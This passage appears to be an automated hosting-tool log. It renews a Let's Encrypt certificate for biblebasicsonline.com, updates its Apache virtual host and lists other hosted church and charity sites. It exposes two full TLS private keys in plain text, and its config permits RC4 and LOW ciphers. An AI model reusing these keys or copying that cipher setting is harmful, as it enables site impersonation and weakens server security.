+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJci1iLWMub3Jngg13d3cuci1iLWMub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9y
MTIuYy5sZW5jci5vcmcvMjYuY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHYA
7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZHZzdWwAABAMARzBF
AiEAuL0zVBxmeVyv6PCxxxUdYfGQMYSi5k+Er1wf1emo6z4CIFWba770f4uShjtB
vYe23jUneIFXhiBrpFOdHRJ1STpUAHcA3dzKNJXX4RYF55Uy+sef+D0cUN/bADoU
EnYKLKy7yCoAAAGZHZzldwAABAMASDBGAiEAmwKcsGD2JiWWaIb6grlQupxdZkXU
LDMP5X4bWzELhO4CIQC6LwzW3fgLyiljgKZksNpyFcsFpAc8QJM/qwB4ULwCwDAN
BgkqhkiG9w0BAQsFAAOCAQEAllQx8J9+FEnKTnZh/Ug+7RSpvASSheP8g9NZz0vm
abakYUfy5vNrfriwMXizRJe41pvHUwrAkvZx2VISFuVD67ADDWgPJRvB847LERdM
nDDpnX29GT+D5JiMkbs4aE1qAfEwj5L1/LWbNWX0NTbjAuC1Yv+ObGitCxjMZCYU
IwK1ETqmX+4DNZCeqzessIMFsPT8T4hi7izXxmZiY9s38PSlAqzsuh+AlRaxckA9
sFCb25psd02XI+tLNp0FqRkiP2KFO5NReJ4kIOIkHnWFG0aNY1ptBgdbfQjxtpE/
j6siWf5IHoIk/CsLMXZF/NwIppXx6E8g8Eej59yba/6Zcg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCwc98Nyp5Jws6o
z657OP6NgE7BjmxFnHu5LVDM5W6maHLsI1TcuwknYVALDyI8dzlkHb1jXtO8+dJi
248Ihl4XRfONRg4zKu8+0OmgdS3Pcd6hj5ZIpi6++9N8Xr2vl31p9fqQ2SQIG752
QY9ABTV9I+w6ekvPTOaB1hzuoAqoH8Ph8N0ghEwGHRuXoDAXdn0XYmgSdDPcLFmf
usimBJhbOz557GY+il1FJyHLBg1bq6QrqPdc4NeJj0tbllbhC6vfWF0Zx3LK7mUg
SuDESj3qTosRwVRord9XxrJilWFewVCVwEZRZBxN2pHzX0nnAJnfKH8Le13uAvOE
G7tXsDWrAgMBAAECggEAetB7jQ7dM3vK+YZr7EpUKssGhgQKaj0rhEz9M0/xvxNu
AdvpoiTwjx9VZg0niCx3nq5wdmy3NY4wmCw3lvhnHw3KIieDlKuqj+863TsSIpQg
IBVfxbsdSELhBWyv3Dq1yP2zZAQu5xHgdFDXUvkNLMfHEUCz6VqeCfqsco6kPDWP
zs3sRKiM9AuZ8K0GlICgyY+quY6FB6Ne57SizqAix7CgCZO5Y2b4bM/yXNbrqxAr
ehc8CY7HhiDieovHzHRgdzJ3X/p3/XGFUqsVy7GDjjCZWHIiBurGYEuUj+kPRnNl
3O8c/o7h65veuhyb6tBzPOx+FMXdjMFZ55HHJ6A1+QKBgQDbbcLN+4EUnbQvTSqD
ZIsXHvAmkQCdyWDf3je6SxDGiCJibpE6GrVnnnzhZKAT6nEAw0mzet8FEDPVCJ6N
43/Pcvxs4UbBf1LKNcIxHK1hc49vf0N0weUB58tl1PFdW12Cm0qt8P7v7iMiUI1c
dtVHkdkLtEqyYvss2bV2NIZF1wKBgQDN3HkFUHrgR+gUFdh4W051GwJdM1hlwdel
OM01AUUcIvY+vqq7I0kVFJyBntU6Qe+g3SnUryDHTmqHC8adY1P4PVuAxXh1rARK
ZaKPtK6Jxoi9SvYvYjL9ZgDfa+huzgIwpmZudgC5Q+Aq3rYf4j2ScQzfhQfg/uZy
eNWcoQ3sTQKBgQDBf0kJ2384btk13RZgR4lgGigr2jJw8eQ7hfoejZN9fw7TPi1S
z7qoZVo6aEHBTjvYMF4Np4yDKoaKlc870CIlDYELgpyihWS8bCuSo3dBOGaEK/WQ
QGtyArWaVu2BJdCQG+D/AkXNznGtENuXbjMlqbd8WsCEDkTwiAs88ZR2gQKBgQCb
pMvjVrvwgq1XMkUeinpBVBBvgvicxvhSNSYBo1orMcvYGLRhFQaWZ6UE45/3kg6p
I04TPe2cgw9L131tVcIQ9+MM80BmR45e6YUE/ejQxkhwRhLoNGi06cBTK/Tqgdtq
CQV9Er7tVAJSp1wvsxA2fj7raFtSo6Z8ehuXdrVeKQKBgQColxp3mnK4vuCsGP36
fpH4TDRThSX1kmrHEbz5RGBedJAkiH3rn5t//e6iKe7r4pSanuuqbYYL9BjADX5R
MuJbwUZArX9DiTCBDL7KnUyeLcs8yPAgFxehTLw7WWXE7zdlj05gCX66K4JWRKJR
KSjDGJqXS4N/LnlJMrOdAjRA6A==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-06 06:00:47: Establishing a connection
2025-09-06 06:00:47: Establishing a connection
2025-09-06 06:00:47:
PUT: /tmp/pkp510833
#!/bin/bash
if [ -d "/var/www/biblebasicsonline_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-06 06:00:47:
chmod 755 /tmp/pkp510833; /tmp/pkp510833; rm /tmp/pkp510833
2025-09-06 06:00:47:
1
2025-09-06 06:00:48: Establishing a connection
2025-09-06 06:00:48:
PUT: /tmp/pkp991954
#!/bin/bash
mkdir -p "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cd "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cat > acm49wM5CvYEtGmbvG44w3manSM0KosaZAxD_QBuDtM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
acm49wM5CvYEtGmbvG44w3manSM0KosaZAxD_QBuDtM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 acm49wM5CvYEtGmbvG44w3manSM0KosaZAxD_QBuDtM
cat > 9h6VqxEKnlIeJyJjs4V7K5-OC7hD_IH-C4N2gXJhUJI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
9h6VqxEKnlIeJyJjs4V7K5-OC7hD_IH-C4N2gXJhUJI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 9h6VqxEKnlIeJyJjs4V7K5-OC7hD_IH-C4N2gXJhUJI
2025-09-06 06:00:48:
chmod 755 /tmp/pkp991954; /tmp/pkp991954; rm /tmp/pkp991954
2025-09-06 06:00:48:
2025-09-06 06:00:56: Establishing a connection
2025-09-06 06:00:56:
PUT: /tmp/pkp377337
#!/bin/bash
mkdir -p "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cd "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
rm acm49wM5CvYEtGmbvG44w3manSM0KosaZAxD_QBuDtM
rm 9h6VqxEKnlIeJyJjs4V7K5-OC7hD_IH-C4N2gXJhUJI
2025-09-06 06:00:56:
chmod 755 /tmp/pkp377337; /tmp/pkp377337; rm /tmp/pkp377337
2025-09-06 06:00:56:
2025-09-06 06:00:56: Establishing a connection
2025-09-06 06:00:56:
PUT: /tmp/pkp201968
#!/bin/bash
temp_file=$(mktemp)
TARGET=6826643b9e24e5e5121c4fe73657b282.crt
cat > $temp_file <<'endmsg'
d2:47:af:75:0d:45:71:07:ed:55:d9:fe:97:47:78:d9
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgISBfQsHtRXCFo3JiIIQ13yftk0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMjIzWhcNMjUxMjA1MDUwMjIyWjAgMR4wHAYDVQQD
ExViaWJsZWJhc2ljc29ubGluZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDOKqEn5SFYjzu6k1FLYu9GyAwZxj1rL4HHW4LeUa417r6eSxeVYyNA
blTP5n4VAHQtiF7UqHNVvbru+UUwOo+Jpnhd7UZnJP7ssInP3/E5pR6QZf+oFAp0
U+dXASczq5FSgtktJTaSLewHmi4BGQo7067zWxN6PqepcSkKsv/N2GEZnQ4PBQbd
jRgaO8TxPANa+yCRCQbJj+GDGHMXnchf0mpiH9yFLEdXyh+HN5304HwMRrVnaE/+
Y/Q3rGBMncGp6d17FKzuQTdn/BJ3iIE0JOrh5TLfLu4+gWhCPnQ/ozRotnOExGdB
jRBuTalKRlBcv9TGl10N2zNHfWRilAYtAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFKIBpg8Sw+7mxQ8jhQv2MomhMl0kMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVYmlibGViYXNpY3Nv
bmxpbmUuY29tghl3d3cuYmlibGViYXNpY3NvbmxpbmUuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5v
cmcvNTMuY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHYADeHyMCvTDcFAYhIJ
6lUu/Ed0fLHX6TDvDkIetH5OqjQAAAGZHZ0GNwAABAMARzBFAiEA2Z2Nnh3vDk+Z
n6weHSZqviHV5EuPxcFjgP/Hun+Bg2UCIHKb4yjNgxuTypE4Dqivm8z7oCWxF20w
oz9lJ5jFW3eBAHcA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZ
HZ0OCwAABAMASDBGAiEAhxyz+JPbzzPL/t24X9RUDGlZo2GUj87kuCiG2hZEnd8C
IQC4wAwMOITGVMEZUyYCgfU971vUipwqGf9pGB5g+v9H0TANBgkqhkiG9w0BAQsF
AAOCAQEAOSjOnSAWOgiy4LryH2JfBp19kUH53UOhtj8+AJNrhwUn5preiue4CEIZ
zYJOIlOYkuKh7Xl78kv70L2/rLAIePeGYSeAZ9TvW6TW02zzWTVTtNJRIzESAvSZ
l68fbUmijIwsvM4Iy/5AEcRB+CN6EAvk0bwchorXKw9r/GLHL8q1QK66MqRMGs2z
96XpQLzcmknxM7ZSibYoAZ0LhBZZkzULV0O2wZ3C7YqwoX3/8S1LwX3frkomXFHX
CCIixLi5POxJ535gHoZMCz1AJ53Uc1YAyitlsvPQlG318A9D891ViiBaHGxg7U3v
Wx81wiYgZE6yl0ZGDYP/lDeJstVo/g==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDOKqEn5SFYjzu6
k1FLYu9GyAwZxj1rL4HHW4LeUa417r6eSxeVYyNAblTP5n4VAHQtiF7UqHNVvbru
+UUwOo+Jpnhd7UZnJP7ssInP3/E5pR6QZf+oFAp0U+dXASczq5FSgtktJTaSLewH
mi4BGQo7067zWxN6PqepcSkKsv/N2GEZnQ4PBQbdjRgaO8TxPANa+yCRCQbJj+GD
GHMXnchf0mpiH9yFLEdXyh+HN5304HwMRrVnaE/+Y/Q3rGBMncGp6d17FKzuQTdn
/BJ3iIE0JOrh5TLfLu4+gWhCPnQ/ozRotnOExGdBjRBuTalKRlBcv9TGl10N2zNH
fWRilAYtAgMBAAECggEAf+B9OUusFUwylhWOVR42oEaxCsOlkPhUnR0r3U34qsc9
QN3+8NAfK3XD8XhcOBah+SQe/fTGJSab7mJ7AeEw6wZwnoHwK0YNQS53LJMRAtpi
TNqXat+TZHguhA7ZC/mdF/rFTnVIlf8Z6dU+N7waVuWEHLofKLH4OOdRt6szc69m
uJLDbHbZNYqxVOGgafuwRqalUxo7qphSDR0jnrgT+oZR35CkZrVOC7aSWdgnSbwl
r7+UXPYbWBp9269/Irx2Z8zQuStiiW9wCcouzYT968O9rL84Lfi6+9NqxoM+Xzob
XH+F2R0CQacNaQZ4khLWqfLJpWIBR/iaCMvHc1oTmQKBgQD8aAglqa0gaIUOHJt5
LWb3lX51Jjdmy2e17v1dGrAu/tHS+jfvNaNAlnJ+kk+3w2XsDvUCJ2gj9rCO7H0h
7yQLsj04B79hQ0xaMS4Dg/HEF1nbi2bykzkj9ikyrTXuCmVXcHtPkNEgROXi6qjX
KMZ0Iu+dWItWmyVG2ifJVa/DswKBgQDRGhAqaa/hcRb1gDVdtzx6J5yCv6A/F3x3
eAxrmW1MewwtNyVuII55tNTM+YZxKIB5Kt5TiOMJfgwnugPPTE9/JqWz9d7WoHoz
mQJgKwWrVfC5NTxiZblz2ZdiOG6t6wbn8u93LchbPG1yXBucIZqbq3oeD9LTXJGc
dpFk5VuenwKBgQDJDmVO+vW5VwiF0SvXPt9CYIa28pY2/9fBCHox68xj4v9ou4BK
v8Mm87CIOiveCXvqqY9pA9LksuC5OJAEs+VWm8hAFYvRAjaTsZEho7y1opQlWcnL
eJKPnsn6YBcRYp6PJD5VhtnOhpNISfvsR8KtSBbuk1WKy1LKOYRv0B2OGQKBgA8I
uLDT+HlVEDmGhk++pPKDdpVQAc2HesN8NihmV51wG2gE1wQcAyJtBf/W0PvB1brg
giuvY+OC1Izmqu90pSKXPMK7otH7p82d6rXPYhD3lN88HKNWfQb/VgsR06NdipmS
tfTzrbwhlBzs0m9fWyZmJdmTea0Iss91Fu8SLowxAoGBAPjC6PZtMrUBKq0yYi7J
Sf6Bor3DVbSEtvNgBS97VyP3yug1VsjCT0J5D6/KBxXyfl6+uEy+z9A+C2n+lP/O
qG8g6Ptr0ABAsfvOx3RaR+rEY7aLBDgGvxHTb+HvZvdQFnhSRDI/MSRwlb7L+dRE
mtZpgvyv3rxHbP2fyoaFSYs4
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-06 06:00:57:
chmod 755 /tmp/pkp201968; /tmp/pkp201968; rm /tmp/pkp201968
2025-09-06 06:00:57:
dir=/etc/ssl/certs
2025-09-06 06:00:57:
PUT: /tmp/pkp817004
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-06 06:00:57:
chmod 755 /tmp/pkp817004; /tmp/pkp817004; rm /tmp/pkp817004
2025-09-06 06:00:57:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf 49
<VirtualHost *:80>
ServerName biblebasicsonline.com
ServerAlias www.biblebasicsonline.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/biblebasicsonline_www
<Directory /var/www/biblebasicsonline_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/biblebasicsonline/www_access.log combined
ErrorLog /var/log/apache2/biblebasicsonline/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName biblebasicsonline.com
ServerAlias www.biblebasicsonline.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
DocumentRoot /var/www/biblebasicsonline_www
<Directory /var/www/biblebasicsonline_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/biblebasicsonline/www_secure_access.log combined
ErrorLog /var/log/apache2/biblebasicsonline/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-06 06:00:57:
PUT: /tmp/pkp819214
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=biblebasicsonline_www_com.conf
TARGET=/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName biblebasicsonline.com
ServerAlias www.biblebasicsonline.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/biblebasicsonline_www
<Directory /var/www/biblebasicsonline_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/biblebasicsonline/www_access.log combined
ErrorLog /var/log/apache2/biblebasicsonline/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName biblebasicsonline.com
ServerAlias www.biblebasicsonline.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
DocumentRoot /var/www/biblebasicsonline_www
<Directory /var/www/biblebasicsonline_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/biblebasicsonline/www_secure_access.log combined
ErrorLog /var/log/apache2/biblebasicsonline/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf= 1'
fi
2025-09-06 06:00:57:
chmod 755 /tmp/pkp819214; /tmp/pkp819214; rm /tmp/pkp819214
2025-09-06 06:00:57:
2025-09-06 06:00:57:
PUT: /tmp/pkp547444
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-06 06:00:57:
chmod 755 /tmp/pkp547444; /tmp/pkp547444; rm /tmp/pkp547444
2025-09-06 06:00:57:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-06 06:00:57: Establishing a connection
2025-09-06 06:00:57:
PUT: /tmp/pkp502357
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-06 06:00:57:
chmod 755 /tmp/pkp502357; /tmp/pkp502357; rm /tmp/pkp502357
2025-09-06 06:00:57:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
